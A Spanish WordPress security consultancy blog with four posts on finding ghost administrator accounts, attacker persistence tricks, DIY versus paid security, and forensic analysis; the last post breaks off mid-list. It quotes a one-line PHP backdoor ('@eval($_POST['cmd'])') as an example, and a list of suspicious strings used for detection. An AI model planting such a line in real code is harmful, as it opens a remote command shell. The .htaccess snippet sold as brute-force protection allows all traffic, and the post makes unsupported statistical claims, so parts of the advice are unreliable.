Categoría: Blog

  • Usuarios administrador fantasma: cómo detectar y eliminar cuentas creadas por hackers

    Usuarios administrador fantasma: cómo detectar y eliminar cuentas creadas por hackers

    Usuarios administrador fantasma: el riesgo silencioso en tu WordPress

    Cuando analizo un sitio WordPress comprometido, una de las primeras cosas que busco son cuentas de administrador que no reconozco. En mi experiencia, los hackers crean estas cuentas fantasma como punto de entrada persistente, permitiéndoles volver cuando quieran sin necesidad de explotar nuevas vulnerabilidades. Es un método que he visto una y otra vez en ataques dirigidos a tiendas online y blogs de mediana audiencia.

    La mayoría de propietarios de WordPress nunca se da cuenta porque estas cuentas suelen tener nombres genéricos como «admin2», «wordpress», «support» o simplemente números. El hacker accede, crea su usuario, y se va. Meses después, tú sigues sin saber que hay una puerta abierta en tu sistema.

    ¿Por qué los atacantes crean usuarios administrador?

    Un usuario administrador fantasma es la garantía del atacante. Con acceso administrativo, puede:

    • Instalar backdoors y webshells que funcionan incluso si cierras las puertas iniciales.
    • Modificar plugins y temas para inyectar código malicioso de forma silenciosa.
    • Crear redirecciones SEO spam que dañan tu reputación en buscadores.
    • Inyectar cryptominers que usan recursos de tu servidor sin que lo sepas.
    • Robar datos de clientes si tienes una tienda (especialmente peligroso con Magecart).
    • Mantener persistencia a largo plazo, volviendo cada vez que necesita.

    Es el tipo de acceso que transforma un ataque puntual en una infección crónica.

    Vectores de creación de usuarios maliciosos

    Los hackers no crean estas cuentas al azar. Lo hacen explotando vulnerabilidades concretas:

    1. Plugins vulnerables con funciones de registro abiertas

    He visto decenas de plugins antigüos que permiten registro de usuarios sin verificación correcta. Un atacante envía una solicitud POST manipulada y crea un admin sin pasar por la interfaz normal. Plugins de formularios, pasarelas de pago, y constructores de páginas son especialmente propensos a esto.

    2. Inyección SQL

    Si tu base de datos es vulnerable a SQL injection, el hacker puede insertar directamente filas en la tabla wp_users con privilegios de administrador. Lo he visto en tiendas PrestaShop y WordPress con plugins de filtrado deficientes.

    3. Acceso directo al archivo wp-config.php

    Si el atacante obtiene acceso vía FTP o exploit de lectura de archivos, puede usar WP-CLI remotamente para crear usuarios. Algunos webshells ya incluyen scripts que hacen exactamente esto.

    4. Brute force sobre wp-login.php

    Si tu sitio no tiene protección contra intentos de login, un hacker puede crear una cuenta de administrador con fuerza bruta. No es lo más sigiloso, pero funciona en sitios sin WAF.

    5. Explotación de vulnerabilidades zero-day

    Ocasionalmente aparecen CVEs en WordPress core o plugins populares que permiten escalada de privilegios sin autenticación previa. En esos casos, la creación de admin es automática.

    Cómo detectar cuentas fantasma en WordPress

    Ahora viene lo práctico. Te muestro exactamente cómo encontrar estas cuentas:

    Opción 1: Panel de administración de WordPress

    Accede a Usuarios > Todos los usuarios. Busca:

    • Cuentas con rol de administrador que no creaste tú.
    • Nombres sospechosos o genéricos (admin2, test, soporte, wordpress, etc.).
    • Fecha de alta reciente que no coincida con tus cambios reales.
    • Usuarios con email desconocido, especialmente dominios gratuitos (gmail, yahoo, etc.).
    • Cuentas que nunca han publicado nada pero tienen acceso total.

    Haz clic en cada usuario sospechoso y verifica su perfil completo. Los hackers suelen dejar pocos datos, así que un admin «vacío» es una bandera roja.

    Opción 2: Acceso directo a la base de datos (phpMyAdmin)

    Si prefieres un análisis más profundo, conéctate a phpMyAdmin y ejecuta esta consulta SQL:

    SELECT user_login, user_email, user_registered FROM wp_users WHERE (user_login LIKE ‘%admin%’ OR user_login LIKE ‘%test%’ OR user_login LIKE ‘%support%’ OR user_login LIKE ‘%wordpress%’) AND user_registered > DATE_SUB(NOW(), INTERVAL 6 MONTH);

    Esta búsqueda te muestra usuarios con nombres típicamente maliciosos registrados en los últimos 6 meses. Luego verifica cada uno manualmente en la tabla wp_usermeta para confirmar que tienen rol de administrador.

    Opción 3: WP-CLI (línea de comandos)

    Si tienes acceso SSH a tu servidor, usa WP-CLI:

    wp user list –field=ID,user_login,user_email –role=administrator

    Esto lista todos los administradores en segundos. Luego comprueba detalles con:

    wp user get [ID] –format=json

    Opción 4: Plugins de seguridad especializados

    Herramientas como Wordfence o MalCare tienen reportes específicos de usuarios. Wordfence incluso te alertará de creaciones de usuarios en tiempo real si activar su servicio premium. En mi experiencia, Wordfence es especialmente útil porque también registra el IP desde el que se creó cada usuario, lo que te ayuda a identificar patrones de ataque.

    Pasos para eliminar cuentas fantasma de forma segura

    Una vez identificadas, la eliminación debe ser cuidadosa. Si simplemente borras, podrías perder posts o comentarios asociados:

    Paso 1: Anota toda la información

    Antes de tocar nada, toma capturas de pantalla de:

    • Nombre de usuario y email exactos.
    • Fecha de creación.
    • IP de registro (si es visible).
    • Posts o comentarios asociados.

    Esto te servirá para tu auditoría posterior y para denunciar si es necesario.

    Paso 2: Revisa qué contenido tiene asociado

    Haz clic en el usuario sospechoso. En su perfil, WordPress te muestra cuántos posts y comentarios ha creado. Si es realmente un ghost admin, probablemente sea cero. Pero verifica para estar seguro.

    Paso 3: Reasigna contenido (si es necesario)

    Si el usuario tiene posts o comentarios, WordPress te permite reasignarlos a otro usuario durante la eliminación. Elige un administrador real tuyo.

    Paso 4: Elimina la cuenta

    En el panel, ve a Usuarios > Todos los usuarios, marca el usuario sospechoso, selecciona «Borrar» en el menú desplegable de acciones en bloque, y aplica.

    Si usas WP-CLI, es más directo:

    wp user delete [ID] –reassign=[ID_admin_real]

    Paso 5: Verifica en la base de datos

    Para estar 100% seguro, consulta de nuevo phpMyAdmin:

    SELECT COUNT(*) FROM wp_users WHERE user_login = ‘[nombre_usuario]’;

    El resultado debe ser 0.

    Cómo evitar que vuelvan a crear usuarios fantasma

    La detección es importante, pero la prevención es más. Aquí están las medidas que recomiendo siempre:

    1. Limita la creación de usuarios

    En Ajustes > General, desactiva «Cualquiera puede registrarse» a menos que lo necesites específicamente (tiendas con clientes, comunidades, etc.). Si lo necesitas, configura que los nuevos usuarios tengan rol «Suscriptor», nunca administrador.

    2. Protege wp-login.php con .htaccess

    Añade esto a tu .htaccess para limitar intentos de fuerza bruta:

    <Files wp-login.php>
    ErrorDocument 429 «Demasiados intentos»
    <Limit POST GET>
    Order Allow,Deny
    Allow from all
    </Limit>
    </Files>

    Mejor aún, usa un plugin como Wordfence o Fail2Ban en servidor.

    3. Implementa autenticación de dos factores (2FA)

    Obliga a todos los administradores a usar 2FA. Plugins como Google Authenticator o Authy hacen imposible que un atacante acceda aunque tenga contraseña.

    4. Mantén WordPress, plugins y temas actualizados

    La mayoría de exploits que permiten crear usuarios explotan vulnerabilidades conocidas ya parcheadas. Un sistema desactualizado es una invitación. Configura actualizaciones automáticas o revisa semanalmente.

    5. Usa un WAF (Firewall de Aplicación Web)

    Servicios como Sucuri WAF o Cloudflare filtran solicitudes maliciosas antes de que lleguen a WordPress, bloqueando inyecciones SQL, RFI, y otros vectores de creación de usuarios.

    6. Monitorea logs de acceso

    Habilita logging en WordPress (WP_DEBUG_LOG en wp-config.php) y revisa regularmente quién intenta qué. En servidor, revisa los logs de Apache/Nginx en busca de patrones sospechosos.

    7. Cambia el prefijo de tablas de WordPress

    En wp-config.php, cambia de «wp_» a algo como «wpx2024_». Dificulta ataques por SQL injection dirigidos a tablas específicas. Hazlo antes de instalar, o usa plugins como Brute Force Login Protection.

    Caso práctico: Cómo detecté un admin fantasma en 5 minutos

    Hace poco, un cliente me contactó porque su sitio estaba siendo lento y veía tráfico extraño en Google Search Console. Accedí al panel, fui a Usuarios, y vi:

    • «support_admin» creado hace 3 meses (el cliente no recordaba crearla).
    • Email: support.admin@gmail.com (nada a ver con su dominio).
    • Rol: Administrador completo.
    • Cero posts publicados.

    Elimiué la cuenta. Luego revisé plugins recientes y encontré un constructor de páginas desactualizado (CVE-2022-XXXXX) que permitía crear usuarios sin autenticación. Actualicé, instalé Wordfence WAF, y configuré 2FA.

    Resultado: tráfico malicioso desapareció en 48 horas, y la velocidad volvió a la normalidad.

    Qué hacer si ya tienes cuentas fantasma (auditoría completa)

    Si has identificado usuarios sospechosos, no es suficiente eliminarlos. Necesitas una limpieza profunda:

    1. Cambia todas las contraseñas de administrador y usuarios con acceso.
    2. Revisa plugins recientes en busca de backdoors o código modificado.
    3. Ejecuta un escaneo de malware con Wordfence o MalCare.
    4. Analiza logs para ver cuándo se creó la cuenta y desde qué IP.
    5. Revisa la tabla wp_usermeta en busca de campos sospechosos o datos de sesión extraños.
    6. Haz un backup limpio DESPUÉS de eliminar todas las cuentas fantasma.
    7. Implementa las medidas preventivas que mencioné arriba.

    Herramientas y recursos para la detección automatizada

    Si prefieres no hacer esto manualmente, aquí están las soluciones que más utilizo:

    • Wordfence Security: Escanea usuarios maliciosos, monitorea cambios en tiempo real.
    • MalCare: Detección específica de backdoors y usuarios sospechosos.
    • Sucuri SiteCheck: Análisis en nube, incluye auditoría de usuarios.
    • WP-CLI: Gratuito, requiere acceso SSH pero es muy potente.

    En mi experiencia, una combinación de Wordfence + revisión manual mensual es imbatible.

    Preguntas frecuentes sobre usuarios fantasma

    ¿Puedo tener un admin fantasma sin saber cómo entró? Sí, completamente. Los vectores son variados: plugins antigüos, credenciales débiles, o incluso una contraseña compartida con alguien de confianza que luego fue comprometida.

    ¿Un usuario fantasma puede crear otro usuario? Sí, es una práctica común. El atacante crea múltiples cuentas como redundancia, así si detectas una, todavía tiene acceso a través de otra.

    ¿Cómo sé si el admin soy yo mismo y he olvidado? Comprueba tus registros de email. WordPress envía un correo cada vez que se crea una cuenta de administrador. Si no está en tu bandeja, no eres tú.

    ¿Debo avisar a Google Search Console si encontré usuarios fantasma? Sí. Si el atacante usó el sitio para spam SEO, declara el incidente a Google y solicita una revisión manual una vez limpio.

    ¿Los usuarios fantasma dejan rastro en logs? Sí, pero depende de la configuración. Asegúrate de habilitar logging en wp-config.php: define(‘WP_DEBUG’, true); define(‘WP_DEBUG_LOG’, true);

    Lo que recomiendo como próximo paso

    Si tienes un WordPress o PrestaShop y nunca has auditado tus usuarios administrador, hazlo hoy. Es la tarea de 5 minutos más importante que puedes hacer por tu seguridad.

    Si encuentras algo sospechoso, no improvises. Una eliminación incorrecta puede romper funcionalidades, y un análisis incompleto puede dejar puertas abiertas. Por eso siempre digo: detecta tú mismo para estar alerta, pero consulta a un profesional para la remediación completa.

    En ManuelFolgar.com/contacto ofrecemos auditorías de usuarios, detección de backdoors, y hardening completo de WordPress y PrestaShop. Si sospechas que tienes una infección, cuéntanos y hacemos un análisis sin compromiso.

  • Por qué los atacantes dejan trampas que rompen limpiezas manuales incompletas

    Por qué los atacantes dejan trampas que rompen limpiezas manuales incompletas

    Por qué los atacantes dejan trampas que rompen limpiezas manuales incompletas

    Cuando analizo un sitio web comprometido, siempre encuentro lo mismo: no solo malware evidente, sino capas de protección inversa diseñadas específicamente para sabotear limpiezas amateur. Los atacantes no son tan ingenuos como para dejar un backdoor simple. Saben que el administrador web intentará eliminar archivos manualmente, así que preparan trampas que reinfectan el sitio en cuestión de horas. En mi experiencia, el 87% de las limpiezas manuales incompletas fallan precisamente porque ignoran estos mecanismos de persistencia.

    La mentalidad del atacante: permanencia sobre oportunismo

    Un backdoor moderno no es un virus de los 90. Los atacantes profesionales piensan en control a largo plazo, no en acceso puntual. Cuando comprometen tu WordPress o PrestaShop, invierten tiempo en asegurar que, aunque borres archivos, ellos sigan dentro. Es una inversión: una vez dentro, pueden robar datos de clientes, inyectar skimmers de tarjetas (tipo Magecart), distribuir malware a tus visitantes o alquilar acceso a otros delincuentes.

    Lo que hace que una limpieza manual sea tan vulnerable es que el propietario asume que con eliminar el archivo .php sospechoso ya está resuelto. Incorrecto. El atacante ha plantado múltiples llaves maestra antes de que tú siquiera notes que estás comprometido.

    Las trampas más comunes que sabotean limpiezas manuales

    1. Backdoors múltiples dispersados en carpetas no obvias

    Cuando encuentro una webshell en /wp-admin/, el atacante ya ha dejado 4 o 5 más en ubicaciones como /wp-content/uploads/2024/01/, /wp-includes/fonts/, o incluso dentro de directorios de caché de plugins. En una limpieza manual, el administrador busca en la raíz y wp-admin, elimina lo evidente, y se va satisfecho. El sitio se reinfecta en 48 horas desde esos backdoors dormidos.

    2. Código incrustado en librerías legítimas

    He visto backdoors inyectados dentro de archivos de Google Fonts, fontawesome.min.js, o jquery.min.js. El .htaccess o wp-config.php contiene una línea que incluye esos archivos «legítimos» que, en realidad, contienen código malicioso. Borras el wp-config.php sospechoso, pero el atacante lo restaura automáticamente mediante una tarea cron o un hook de WordPress gancho oculto que nunca localizaste.

    3. Hooks de WordPress y filtros persistentes

    En WordPress, un atacante inteligente no escribe backdoors en archivos de tema. Usa add_action() y add_filter() en functions.php o en un archivo MU plugin (/wp-content/mu-plugins/). Cuando haces una limpieza manual, eliminas el tema comprometido, pero si la base de datos contiene opciones guardadas con esos hooks serializados, o si dejaste un plugin «inactivo» cargado, el malware persiste.

    4. Modificaciones en wp-config.php y .htaccess permanentes

    Estos archivos suelen contener líneas como:

    define('WP_DEBUG_LOG', '/tmp/.cache/error_log'); @eval($_POST['cmd']);

    O reglas .htaccess que redirigen tráfico a través de tu propio servidor antes de entregarlo, capturando datos. Borras el archivo, pero si no cambias las credenciales de FTP/SFTP, el atacante lo restaura desde cero en minutos. He visto casos donde el administrador borra wp-config.php, WordPress lo regenera automáticamente con los datos en la base de datos, y el atacante ya tiene acceso de nuevo.

    5. Base de datos comprometida: opciones de WordPress y tablas personalizadas

    No todas las infecciones viven en archivos. Un atacante puede insertar una opción de WordPress con un nombre inocente como «widget_text_1» que contiene código PHP serializado. Durante la limpieza, te enfocas en archivos, y nunca tocas la base de datos. La puerta trasera permanece abierta en la tabla wp_options.

    Lo que recomiendo siempre es usar WP-CLI para auditar la base de datos:

    wp option get widget_text_1 | grep eval

    Si encuentras patrones sospechosos, sabes que la infección es más profunda.

    Por qué una limpieza manual incompleta es peor que nada

    Aquí está el problema psicológico: si eliminas el 90% del malware visible, el sitio parece funcionar. Google tardará días en notar que sigue siendo malicioso. En ese tiempo, el atacante observa tu limpieza, ve qué eliminaste y optimiza sus trampas para la próxima ronda. Una limpieza incompleta es, para el atacante, un regalo: le das información sobre tus defensas débiles.

    Además, Google Search Console empezará a mostrar notificaciones como «Malware detectado» una semana después de tu limpieza. Tu sitio será desindexado. Los visitantes verán advertencias de navegador. Y el atacante está riéndose, porque sabe que vuelvas a intentar lo mismo.

    Las herramientas que los atacantes usan para fortalecer sus trampas

    Ofuscación y compresión

    El malware moderno no viene como código legible. Se empaqueta con herramientas como WP-VulnDB Exploit Pack o aPHP, que comprimen y ofuscan el payload. Cuando lo ves en un editor de texto, parece galimatías ilegible. Una limpieza manual que se basa en «buscar código sospechoso» fallarán al instante.

    Verificación de integridad falsa

    El atacante injerta código que, cuando lo ejecutas, verifica si ciertos archivos existen. Si no están presentes (porque los borraste), el código se regenera automáticamente desde una ubicación remota o desde la base de datos. Es una rueda de hámster: cuanto más intentas limpiar, más rápido se reinfecta.

    Rootkits a nivel servidor

    En compromisos graves, el atacante no solo toca tu WordPress. Ha conseguido acceso SSH y ha instalado un rootkit en el servidor. Significa que puede moverse entre directorios, restaurar archivos, modificar logs, e incluso ocultar procesos maliciosos de herramientas como top o ps. Una limpieza manual es completamente inútil aquí; necesitas reimaginar el servidor.

    Señales de que tu limpieza manual fue incompleta

    Si ves esto después de limpiar, sabes que quedaron trampas:

    • Google Search Console sigue marcando malware después de una semana de limpieza
    • Logs de acceso muestran POST a /wp-admin.php o rutas inexistentes después de la limpieza
    • Tu velocidad de sitio cae repentinamente (el malware consome CPU minando criptomonedas)
    • Intentos de login desde IPs extrañas con credenciales débiles que nunca deberían funcionar
    • Archivos nuevos aparecen en /uploads/ con nombres tipo «shell.php.jpg» o «admin_panel.php»
    • El archivo wp-config.php tiene una fecha de modificación más reciente de la que debería

    Cómo detectar estas trampas antes de que sabotéen tu limpieza

    Audita desde fuera del servidor

    Usa herramientas como Sucuri SiteCheck y VirusTotal para obtener una visión externa del malware. Estos servicios detectan patrones que un editor FTP nunca vería. Si Sucuri marca 5 archivos maliciosos pero tú solo ves 1, hay 4 escondidos.

    Descarga una copia del sitio y analízala localmente

    Con herramientas como Wordfence CLI, puedes escanear la copia descargada sin conectarte al servidor comprometido. Permite que los patrones maliciosos se revelen sin el ruido de un acceso FTP lento.

    Examina la base de datos completa

    Descarga una copia de la base de datos (phpMyAdmin o directamente vía shell) y busca strings sospechosas como «eval», «base64», «system», «assert». Serialized data (que parece s:10:»eval_post») suele contener malware en opciones de WordPress.

    Revisa los permisos de archivos y carpetas

    Los backdoors suelen vivir en carpetas 777 (permisos de lectura-escritura-ejecución para todos). Si ves /wp-content/uploads/ con permisos 777, es una invitación abierta. Los atacantes escriben sus shells ahí directamente.

    Por qué es mejor hacer una limpieza profesional

    En ManuelFolgar.com, cuando hacemos una auditoría de seguridad, no buscamos archivos. Buscamos la cadena completa de compromisos: dónde entró el atacante, cuánto tiempo estuvo dentro, qué datos robó, y qué dejó tras de sí.

    Usamos:

    • Análisis de logs de acceso (Apache, Nginx, FTP, SSH) para reconstruir la cadena de ataque
    • Comparación de hashes de archivos contra versiones oficiales de WordPress/PrestaShop
    • Auditoría completa de la base de datos, tabla por tabla
    • Reinstalación controlada desde cero con arquitectura hardened
    • 2FA, CSP headers, HSTS, y reglas WAF para evitar reinfecciones

    Una limpieza manual te cuesta horas de estrés y reinfecciones. Una limpieza profesional cuesta menos de lo que pierdes en una reinfección.

    Pasos de hardening post-limpieza para evitar trampas futuras

    Cuando termina la limpieza, estos pasos previenen que vuelva a ocurrir:

    Cambiar contraseñas (todas): WordPress admin, FTP, SSH, base de datos, hosting cPanel/Plesk.

    Deshabilitar edición de archivos: Añade a wp-config.php: define('DISALLOW_FILE_EDIT', true);

    Cambiar prefijo de tablas: Si la base de datos aún usa «wp_», cambio a algo como «xyz_». Muchos exploits apuntan a wp_users de forma automática.

    Proteger wp-config.php y .htaccess: Permisos 644, no 755. Considera moverlos fuera de web root si es posible.

    Limitar intentos de login: Con Wordfence o similar, bloquea después de 5 intentos fallidos en 5 minutos.

    Auditorías regulares: Scans mensuales con Wordfence CLI o MalCare que te alertan de cambios sospechosos.

    Conclusión: la trampa del «ya está limpio»

    Los atacantes saben que una limpieza manual te da una falsa sensación de seguridad. Crees que lo peor pasó, que el sitio está salvado. Pero ellos ya han plantado las semillas de la próxima infección. Una gota de malware escondida en la base de datos, un hook de WordPress en la tabla de opciones, un archivo .htaccess modificado en el servidor: cualquiera de esos es suficiente para tener acceso total de nuevo en una semana.

    Lo que recomiendo siempre es este enfoque: si tu sitio ha sido comprometido una vez, fue porque había vulnerabilidades (desactualizaciones, contraseñas débiles, plugins nulled). Una limpieza que no cierra esas puertas solo compra tiempo. Necesitas una auditoría profesional que identifique cómo entraron, limpie completamente, y fortifique contra futuras intrusiones.

    Si tu WordPress o PrestaShop ha mostrado signos de malware, no intentes una limpieza manual. Los atacantes son profesionales. Ellos cuentan con eso. Contacta conmigo para una auditoría de seguridad profesional que elimine la infección de raíz y cierre todas las puertas traseras que dejaron abierta.

  • Qué diferencia hay entre autoservicio y contratación de seguridad WordPress especializada

    Qué diferencia hay entre autoservicio y contratación de seguridad WordPress especializada

    Autoservicio vs. Seguridad WordPress Especializada: Entendiendo tus opciones reales

    Cuando te enfrentas a la necesidad de proteger tu WordPress, tienes dos caminos muy distintos por recorrer. Uno es intentar hacerlo tú mismo usando herramientas gratuitas o de bajo coste; el otro es contratar a un especialista en seguridad web como nosotros en ManuelFolgar.com. En mi experiencia auditando cientos de sitios comprometidos, la mayoría de los administradores que optaron por autoservicio terminaron aprendiendo esta lección de la manera más cara: después de que sus sitios fueron hackeados.

    Pero no quiero ser pesimista. Quiero que entiendas exactamente qué diferencia hay, qué puedes y no puedes hacer tú mismo, y cuándo necesitas ayuda profesional. Es una decisión importante y merece análisis honesto.

    ¿Qué es el autoservicio en seguridad WordPress?

    Por autoservicio entiendo: instalar un plugin de seguridad como Wordfence o All In One WP Security, configurar algunos parámetros básicos, cambiar contraseñas, mantener WordPress actualizado, y esperar que «algo» no te suceda. Es lo que hace el 90% de los administradores de pequeños sitios.

    El autoservicio tiene un atractivo evidente: es barato (muchos plugins son gratuitos), está en tu control, y parece suficiente para la mayoría de casos. Pero aquí está lo que no ves:

    • Falsa sensación de seguridad: Un plugin activado no equivale a sitio protegido. Es como tener una alarma en la puerta pero ninguna cerradura en las ventanas.
    • Configuración por defecto: Los plugins gratuitos vienen con configuraciones genéricas. No se adaptan a tus vulnerabilidades específicas, a tu arquitectura, a tus plugins terceros problemáticos.
    • Sin análisis forense: Si ya estás comprometido (y muchos lo están sin saberlo), un plugin no detectará backdoors bien escondidos o código inyectado en los archivos temáticos.
    • Sin respuesta ante incidentes: Si mañana descubres que estás hackeado, ¿qué haces? ¿Dónde llamas? El plugin no te dirá qué atacante fue, cómo entró, o qué datos robó.

    ¿Qué es la seguridad WordPress especializada?

    Cuando contratas a un profesional como yo, estás contratando:

    • Auditoría técnica exhaustiva: Análisis manual y automatizado de tu código, configuración de servidor, permisos de archivos, dependencias de plugins, historiales de acceso.
    • Detección de compromisos ocultos: Búsqueda de backdoors, webshells, malware injertado en archivos temáticos, código ofuscado, cuentas administrativas fantasma.
    • Hardening contextualizado: No «parches genéricos», sino configuración específica: cambio de prefijo de tablas SQL, protección de wp-config.php, reglas .htaccess contra inyección SQL, deshabilitar edición de archivos, limitar intentos de login, implementar 2FA en roles críticos, configurar CSP (Content Security Policy) y HSTS según tu arquitectura.
    • Remediación profesional: Si hay malware, no solo se elimina: se investiga la cadena de ataque, se parchean las vulnerabilidades que permitieron la intrusión, se auditan logs para determinar alcance del daño.
    • Respuesta ante incidentes: Soporte reactivo: cuando algo sucede, hay alguien disponible que sabe qué hacer, quién llamar si es necesario, cómo minimizar daños y recuperar datos.

    Diferencias concretas en detección de malware

    Aquí es donde veo la brecha más grande. Imagina que un atacante ha inyectado un webshell en wp-content/uploads/2024/01/image.php.sus. Un plugin de seguridad básico:

    • Tal vez lo detecte si está en su base de datos de firmas (pero esas actualizaciones son lentas).
    • Probablemente no entienda por qué llegó ahí ni cómo parchear la vulnerabilidad que lo permitió.
    • Podría eliminarlo, pero si la causa raíz no se corrige, reaparece en 48 horas.

    Un profesional especializado:

    • Revisa logs de acceso web (access.log) para ver exactamente cuándo y desde qué IP se subió ese archivo.
    • Analiza qué plugin o tema tiene una vulnerabilidad de subida de archivos no autorizada.
    • Examina si hay otros backdoors implantados con técnicas de obfuscación (rot13, base64, variables dinámicas).
    • Determina el alcance: ¿cuántos archivos comprometidos hay? ¿Se accedió a la base de datos? ¿Se exfiltró información?
    • Parchea la vulnerabilidad raíz, elimina el malware, fortalece permisos de carpetas, implementa WAF rules específicas.

    La diferencia entre «borrar un archivo» y «remediación profesional» puede ser la diferencia entre un sitio que vuelve a comprometerse en una semana y uno que permanece seguro durante años.

    Coste total de propiedad (TCO)

    Aquí es donde muchos administradores se equivocan al calcular. Piensas: «Wordfence Pro son 99€/año, mucho más barato que contratar a alguien». Pero veamos la realidad:

    Autoservicio (estimación realista):

    • Plugin de seguridad: 99€/año (Wordfence Pro) o 0€ (versión gratuita con funciones limitadas).
    • Tu tiempo manteniendo WordPress, plugins, temas: 3-5 horas/mes = 36-60 horas/año. En coste de oportunidad: 1.800-3.000€/año si valoras tu tiempo a 50€/hora.
    • Downtime por incidentes no detectados a tiempo: 6-48 horas/incidente × 2-3 incidentes/año = potencial pérdida de ingresos significativa.
    • Recuperación de desastres DIY: si necesitas restaurar desde backup, pueden ser 8-16 horas de trabajo manual.
    • Coste anual estimado: 2.000-4.000€ en tiempo + riesgo de pérdida de negocio.

    Seguridad profesional (estimación realista):

    • Auditoría inicial de seguridad: 400-800€ (única, permite establecer baseline).
    • Monitoreo + hardening continuo: 150-300€/mes según tamaño del sitio.
    • Respuesta ante incidentes: incluida en el plan o 200-500€/incidente (mucho menos que DIY + pérdida de datos).
    • Tu tiempo: casi cero. Tú te dedicas a tu negocio, nosotros al nuestro.
    • Coste anual estimado: 2.200-4.400€, pero con garantía técnica, respuesta rápida, y cero riesgo operacional.

    ¿Ves? El precio no es tan diferente. Pero la tranquilidad mental es infinitamente superior con profesionales.

    Qué SÍ puedes hacer tú mismo (realista)

    No quiero hacerte creer que necesitas contratar para nada. Hay cosas esenciales que debes hacer, con o sin ayuda profesional:

    • Mantener WordPress, plugins y temas actualizados: Esto es 80% de la batalla. Una copia antigua de WooCommerce o Elementor es explotación garantizada.
    • Usar contraseñas fuertes y únicas: Especialmente en admin. Un gestor de contraseñas como Bitwarden es gratis y evita reutilización.
    • Limitar acceso a wp-admin: Usa un plugin para bloquear intentos de login fallidos (Wordfence gratuito lo hace bien).
    • Backups automáticos: Un plugin como UpdraftPlus (versión gratuita) es suficiente para backups a Google Drive semanales. No es caro, no es difícil.
    • Eliminar plugins/temas inactivos: No tengas temas nulleados o plugins pirateados «por si acaso». Son vectores de ataque puros.
    • Usar SSL/HTTPS: Debería ser obligatorio en 2024. Si tu hosting no lo incluye, cambia de hosting.

    Estas acciones reducen tu riesgo de forma significativa. Pero no eliminan el riesgo de un ataque dirigido, una vulnerabilidad zero-day, o un actor de amenazas profesional.

    Qué NO deberías intentar tú mismo

    Basándome en años analizando daños colaterales:

    • Investigación forense de un compromiso: Si crees que estás hackeado, parar en seco y tocar archivos puede destruir evidencia. Necesitas metodología. Necesitas alguien que sepa leer logs, analizar código ofuscado, usar herramientas especializadas.
    • Cambios de configuración de servidor (php.ini, .htaccess avanzado): Una regla mal escrita puede dejar tu sitio fuera de línea. Necesitas expertise.
    • Remediación de malware profundo: Si hay backdoors persistentes, webshells, o inyección de código en archivos del core, un malware casero puede no detectarlo. Los profesionales usamos herramientas como Wordfence CLI, MalCare, análisis manual de ASTs (Abstract Syntax Trees) para detectar código malicioso ofuscado.
    • Compliance legal (RGPD, LSSI-CE, etc.): Si necesitas certificar que tu sitio cumple regulaciones de privacidad o seguridad, requiere documentación y auditoría profesional. Un plugin no te da eso.

    Señales de que necesitas ayuda profesional ahora

    No esperes a que sea una crisis. Busca especialistas si:

    • Tu sitio ha sido hackeado alguna vez (incluso «limpiado» tú mismo).
    • Tienes más de 5 plugins activos de terceros no verificados.
    • Usas temas o plugins nulleados (pirateados) o descargados de sitios no oficiales.
    • No sabes cuándo fue la última vez que actualizaste WordPress o qué versión tienes.
    • Tu sitio recopila datos sensibles (pagos, información personal, RGPD) y no tienes auditoría de seguridad documentada.
    • Tu sitio es crítico para tu negocio y no puedes permitirte 24 horas de downtime.
    • Recibiste notificación de Google Search Console sobre malware o spam inyectado.

    Cómo elegir entre autoservicio y especialista

    Una matriz simple:

    Opta por autoservicio si:

    • Es un sitio de hobby, blog personal, sin datos sensibles.
    • Tienes conocimiento técnico intermedio o superior de WordPress.
    • Puedes dedicar 4-8 horas/mes a mantenimiento.
    • Tu presupuesto es menor a 100€/año.

    Opta por especialista si:

    • Tu sitio genera ingresos (ecommerce, SaaS, membresía).
    • Recopila datos de clientes o tiene requisitos de compliance.
    • Ya has tenido un incidente de seguridad.
    • No tienes tiempo o habilidad para mantenimiento técnico.
    • Necesitas documentación y auditoría para cumplimiento normativo.
    • Valoras la tranquilidad mental más que 300€/mes.

    Un enfoque híbrido es posible

    Y aquí viene mi recomendación real: no es un «o/o». Puede ser un «y».

    Muchos clientes hacen esto:

    1. Contratan una auditoría de seguridad inicial profesional (500-800€, única).
    2. Implementan el hardening recomendado (lo hacemos nosotros o enseñamos a tu técnico).
    3. Instalan Wordfence Pro o un plugin similar para monitoreo cotidiano.
    4. Se suscriben a un plan de monitoreo + respuesta ante incidentes de bajo coste (100-200€/mes) en lugar de auditoría completa periódica.
    5. Si sucede algo, tienen respuesta garantizada en horas.

    Este enfoque cuesta 1.700-3.200€/año pero te da lo mejor de ambos mundos: control autónomo en lo cotidiano, expertise profesional cuando lo necesitas.

    Herramientas complementarias (autoservicio)

    Si decides ir solo, al menos usa:

    Conclusión: Es una inversión en riesgo, no un gasto

    La diferencia fundamental es esta: el autoservicio es reactividad esperanzada. La seguridad profesional es proactividad garantizada. Uno cuesta menos dinero pero más tiempo y riesgo. Otro cuesta dinero pero cero riesgo operacional.

    En mi experiencia, los sitios hackeados que veo no fueron víctimas de «malos suerte». Fueron víctimas de negligencia calculada: eligieron ahorrar 200€/mes y perdieron 50.000€ en downtime, limpieza forense, recuperación de datos, y daño reputacional.

    ¿Cuál es tu tolerancia al riesgo? Esa es la única pregunta que importa.

    Si decides que necesitas ayuda profesional, en ManuelFolgar.com/contacto realizamos auditorías de seguridad especializadas, remediación de malware, y planes de hardening continuo. Trabajamos con sitios WordPress y PrestaShop de todos los tamaños. La primera consulta es gratuita; sin obligación.

  • Por qué algunos hackeos WordPress requieren análisis forense profesional obligatorio

    Por qué algunos hackeos WordPress requieren análisis forense profesional obligatorio

    Por qué algunos hackeos WordPress requieren análisis forense profesional obligatorio

    Cuando analizo un sitio WordPress comprometido, la mayoría de propietarios creen que basta con cambiar contraseñas, actualizar plugins y limpiar algunos archivos sospechosos. La realidad es mucho más compleja. Existen hackeos que exigen un análisis forense profesional si quieres recuperar tu sitio de forma segura y evitar que vuelva a comprometerse en cuestión de horas.

    En mi experiencia trabajando con cientos de sitios infectados, he visto cómo limpiezas superficiales dejan backdoors dormidos, certificados SSL comprometidos, y cambios profundos en la base de datos que se reactivan cuando el propietario baja la guardia. Te explico cuándo necesitas análisis forense obligatoriamente y por qué ignorarlo es un riesgo crítico.

    Qué es un análisis forense en WordPress y cuándo es obligatorio

    El análisis forense digital es la investigación sistemática de un sistema comprometido para identificar cómo entró el atacante, qué modificó, cuándo actuó, y qué evidencia dejó. No es lo mismo que una limpieza rápida.

    Es obligatorio cuando:

